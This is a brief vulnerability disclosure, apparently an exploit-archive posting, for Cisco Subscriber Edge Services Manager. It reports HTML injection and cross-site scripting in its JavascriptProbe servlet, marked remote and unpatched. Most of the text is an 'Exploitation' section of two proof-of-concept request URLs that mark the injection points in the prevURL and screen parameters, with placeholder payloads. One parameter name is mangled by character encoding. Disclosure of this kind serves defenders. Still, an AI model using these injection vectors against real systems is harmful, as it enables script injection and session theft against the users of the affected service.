Cisco Subscriber Edge Services Manager Multiple Vulnerabilities

Cisco Subscriber Edge Services Manager Multiple Vulnerabilities namely :

> Html Injection
> XSS

[*] Attack type : Remote

[*] Patch Status : Unpatched

[*] Exploitation :

[+] Html Injection

http://host/servlet/JavascriptProbe?prevURL=http%3A//host/servlet/JavascriptProbe%3FprevURL%3D%22%3E%3C&browser=explorer&version=6&javascript=1.3&getElementById=true&getElementTagName=true&documentElement=true&anchors=true®exp=true&option=true&all=true&cookie=true&images=true&layers=false&forms=true&links=true {HTML INJECTION} &frames=true&screen=true&


[+] XSS

http://host/servlet/JavascriptProbe?prevURL=http%3A//host/servlet/JavascriptProbe%3FprevURL%3Dhttp%253A//host/&browser=explorer&version=6&javascript=1.3&getElementById=true&getElementTagName=true&documentElement=true&anchors=true®exp=true&option=true&all=true&cookie=true&images=true&layers=false&forms=true&links=true&frames=true&screen=%20true"XSS"


Author : Usman Saeed , Xc0re Security Research Group.